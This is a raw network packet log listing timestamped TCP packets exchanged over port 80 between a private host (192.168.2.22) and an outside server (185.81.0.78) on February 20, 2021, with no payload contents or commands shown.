Feb 20, 2021 09:48:08.678410053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678435087 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678462982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678479910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678498030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678515911 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678514957 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678533077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678555012 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678555965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678561926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678566933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678570986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678575039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678575993 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678580999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678586006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678592920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678600073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678611040 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678621054 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678628922 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678631067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678647041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678651094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678663969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678672075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678683043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678690910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678698063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678704023 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678714037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678724051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678740978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678756952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678760052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678769112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678774118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678778887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678791046 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678793907 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678809881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678811073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678822994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678826094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678839922 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678847075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678862095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678865910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678883076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678886890 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678900003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678900003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678915977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678917885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678934097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678935051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678951025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678951979 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678966999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678967953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.678985119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.678987980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679002047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679007053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679025888 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679042101 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679037094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679059029 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679069042 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679075956 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679076910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679080963 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679095030 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679109097 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679111958 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679115057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679126978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679133892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679148912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679152966 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679169893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679173946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679188013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679189920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679205894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679205894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679223061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679224014 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679239988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679244041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679256916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679263115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679276943 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679277897 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679291964 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679296970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679311037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679315090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679327965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679332972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679343939 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679351091 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679368019 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679397106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679404974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679406881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679410934 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679447889 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679451942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679471970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679491997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679512024 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679514885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679542065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679558992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679600000 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679604053 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679624081 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679649115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679651022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679661989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679671049 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679697037 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679704905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679717064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679730892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679733992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679758072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679774046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679775953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679795980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679796934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679811001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679826975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679831028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679874897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679877043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679907084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679919958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679925919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679944038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679960966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679972887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679975033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.679980040 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.679994106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680018902 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680031061 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680032015 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680064917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680075884 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680094004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680108070 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680119038 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680134058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680136919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680150986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680161953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680171013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680201054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680210114 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680234909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680252075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680257082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680267096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680278063 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680289030 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680303097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680329084 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680341959 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680346012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680360079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680397034 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680404902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680408001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680435896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680452108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680459023 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680474997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680479050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680490017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680511951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680526972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680545092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680556059 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680582047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680589914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680609941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680625916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680627108 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680651903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680653095 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680669069 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680670977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680697918 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680697918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680710077 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680721045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680742979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680747032 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680757999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680757999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680775881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680777073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680792093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680794954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680819988 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680820942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680835962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680835009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680861950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680877924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680877924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680891991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680902004 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680906057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680917025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680929899 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680954933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680955887 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.680968046 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.680984974 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681003094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681006908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681024075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681032896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681042910 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681060076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681076050 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681078911 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681090117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681102991 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681107998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681118965 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681144953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681149006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681159973 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681164026 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681173086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681185007 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681200981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681201935 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681216955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681226969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681235075 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681252956 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681267977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681279898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681292057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681293011 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681303978 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681308985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681333065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681339025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681349039 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681350946 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681363106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681372881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681400061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681427002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681467056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681495905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681512117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681514025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681536913 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681548119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681550980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681576967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681592941 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681596994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681608915 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681622982 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681627989 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681639910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681669950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681672096 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681682110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681696892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681711912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681716919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681744099 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681745052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681757927 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681761980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681790113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681791067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681814909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681818962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681828976 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681830883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681855917 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681873083 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681873083 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681899071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681916952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681942940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681945086 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681957006 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681962967 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681962967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681967974 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681972980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.681988955 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.681988955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682002068 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682014942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682032108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682044029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682060003 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682064056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682070017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682092905 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682109118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682115078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682126045 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682136059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682147980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682152033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682182074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682185888 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682198048 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682199001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682215929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682219028 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682229042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682246923 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682254076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682265043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682271004 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682281971 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682293892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682302952 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682312965 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682321072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682349920 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682356119 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682372093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 09:48:08.682378054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 09:48:08.682389021 CET	49165	80	192.168.2.22	185.81.0.78
